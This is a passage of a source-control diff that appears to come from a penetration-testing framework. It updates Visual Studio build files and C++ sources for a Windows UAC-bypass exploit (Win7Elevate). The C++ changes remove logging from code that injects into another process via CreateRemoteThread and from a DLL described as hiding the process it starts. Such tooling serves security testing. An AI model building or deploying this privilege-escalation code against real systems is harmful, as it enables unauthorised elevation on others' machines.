<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
<BuildLog>
<Path>
@ -155,6 +170,9 @@
<ResourceCompile>
<PreprocessorDefinitions>WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
<PostBuildEvent>
<Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
@ -168,12 +186,14 @@
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
<BuildLog>
<Path>
@ -182,6 +202,9 @@
<ResourceCompile>
<PreprocessorDefinitions>WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
<PostBuildEvent>
<Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="Resource.h" />
@ -204,7 +227,10 @@
<ClCompile Include="Win7Elevate_Utils.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Win7Elevate.rc" />
<ResourceCompile Include="Win7Elevate.rc">
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

35
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp vendored Normal file → Executable file
View File

@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
if (codeStartAdr >= codeEndAdr)
{
//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Unexpected function layout");
return;
}
@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
{
//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't get path to self");
return;
}
@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
if (S_OK != hr)
{
//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"SHGetFolderPath failed");
return;
}
@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
if (hModKernel32 == 0)
{
//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't load kernel32.dll");
return;
}
@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|| 0 == tfpWaitForSingleObject.f)
{
//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't find API");
}
else
{
@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
if (reme.AnyFailures())
{
//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Remote allocation failed");
}
else
if (!(reme.AnyFailures()))
{
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
if (hRemoteThread == 0)
{
//MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(
CError::Format(
GetLastError(),
L"Couldn't create remote thread",
L"CreateRemoteThread"));
}
else
if (hRemoteThread != 0)
{
if ( Redirector )
Redirector();
@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
else
{
CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO");
// See if it completed before the user asked to stop waiting.
// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
FreeLibrary(hModKernel32);
if (bThreadWaitFailure)
{
//MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Error waiting on the remote thread to complete");
}
else if (bThreadWaitSuccess)
{
//MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);
CLogger::LogLine(L"Remote thread completed");
}
}

16
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp vendored Normal file → Executable file
View File

@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
if (hSnapshot == INVALID_HANDLE_VALUE)
{
//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"CreateToolhelp32Snapshot failed");
}
else
{
@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
{
DWORD dwErr = GetLastError();
if (ERROR_NO_MORE_FILES != dwErr)
{
//MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Process32Next/First failed");
}
else if (mapProcs.empty())
{
//MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Process32Next/First returned nothing");
}
else
if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty()))
{
bResult = true;
}
@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
if (szProcName == NULL)
{
//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"No process name passed in");
return false;
}
@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
}
//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(strMsg);
return false;
}

View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@ -28,23 +28,27 @@
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
@ -64,25 +68,30 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)32</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)64</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)32</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)64</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@ -90,11 +99,16 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
@ -102,11 +116,16 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
@ -117,6 +136,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@ -124,6 +144,9 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
@ -134,6 +157,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@ -145,6 +169,9 @@
<Path>
</Path>
</BuildLog>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />

3
external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp vendored Normal file → Executable file
View File

@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
// Wee need to hide fact that we've started process thats why we immediately
// Terminate host application.
//
CLogger::LogLine(TEXT("DLL: Hello"));
switch (ul_reason_for_call)
{
@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
startupInfo.cb = sizeof(startupInfo);
PROCESS_INFORMATION processInfo = {0};
CLogger::LogLine(TEXT("DLL: TIOR shell="));
CLogger::LogLine(cmd);
//
// Create not visible window

View File

@ -0,0 +1,19 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\Win7Elevate.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building bypassuac x86" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building bypassuac x64" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>bypassuac</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x86</TargetName>
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x64</TargetName>
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\;</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
mkdir "..\..\..\..\..\data\post\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
